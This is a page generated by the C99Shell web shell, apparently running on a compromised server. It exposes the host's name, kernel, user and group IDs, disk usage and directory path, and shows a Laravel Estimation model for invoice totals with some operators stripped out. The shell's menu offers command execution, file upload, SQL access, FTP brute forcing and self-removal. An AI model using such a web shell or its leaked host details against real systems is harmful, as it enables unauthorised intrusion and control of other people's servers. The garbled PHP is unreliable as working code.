!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Models/   drwxr-xr-x
Free 28.59 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Estimation.php (1.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
Illuminate\Database\Eloquent\Model;

class 
Estimation extends Model
{
    protected 
$fillable = [
        
'estimation_id',
        
'client_id',
        
'status',
        
'issue_date',
        
'discount',
        
'tax_id',
        
'terms',
        
'created_by',
    ];

    public static 
$statues = [
        
'Open',
        
'Not Paid',
        
'Partialy Paid',
        
'Paid',
        
'Cancelled',
    ];

    public function 
client()
    {
        return 
$this->hasOne('App\Models\User''id''client_id');
    }

    public function 
tax()
    {
        return 
$this->hasOne('App\Models\Tax''id''tax_id');
    }

    public function 
getProducts()
    {
        return 
$this->belongsToMany('App\Models\ProductService''estimation_products''estimation_id''product_id')->withPivot('id''price''quantity''description');
    }

    public function 
getSubTotal()
    {
        
$subTotal 0;
        foreach(
$this->getProducts as $product)
        {
            
$subTotal += $product->pivot->price $product->pivot->quantity;
        }

        return 
$subTotal;
    }

    public function 
getTax()
    {
        if(
$this->getSubTotal() > 0)
        {
            
$tax = (($this->getSubTotal() - $this->discount) * $this->tax->rate) / 100.00;
        }
        else
        {
            
$tax 0;
        }

        return 
$tax;
    }

    public function 
getTotal()
    {
        return 
$this->getSubTotal() - $this->discount $this->getTax();
    }

    public function 
getDue()
    {
        
$due 0;
        foreach(
$this->payments as $payment)
        {
            
$due += $payment->amount;
        }

        return 
$this->getTotal() - $due;
    }

    public static function 
getEstimationSummary($estimates)
    {
        
$total 0;

        foreach(
$estimates as $estimate)
        {
            
$total += $estimate->getTotal();
        }

        return 
\Auth::user()->priceFormat($total);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--